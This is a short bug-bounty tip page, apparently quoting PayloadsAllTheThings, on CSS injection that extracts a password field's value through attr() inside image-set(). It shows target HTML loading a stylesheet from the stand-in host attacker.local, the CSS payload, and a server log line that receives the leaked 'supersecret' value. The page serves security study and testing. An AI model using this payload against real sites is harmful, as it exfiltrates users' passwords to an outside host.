CSS Injection: Attribute Extraction via attr()

Other injection (LDAP, XPath, XSLT, CSS, LaTeX)Exploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

The CSS attr() function allows CSS to retrieve the value of an attribute of the selected element. With recent updates (see Advanced attr()), this function can be used to extract input's value.

Target HTML:

html
<html>
    <head>
        <link rel="stylesheet" href="http://attacker.local/index.css">
    </head>
    <body>
        <input type="text" name="password" value="supersecret">
    </body>
</html>

index.css (hosted by attacker):

css
input[name="password"] {
  background: image-set(attr(value))
}

When image-set() is used with attr(), the browser may attempt to interpret the attribute value as a URL. If the stylesheet is cross-domain, the relative URL is resolved against the stylesheet's origin, not the page's origin.

Resulting request on attacker's server:

ps1
10.10.10.10 - - [15/Feb/2026 16:33:21] "GET /supersecret HTTP/1.1" 404 -

Comments

No comments yet.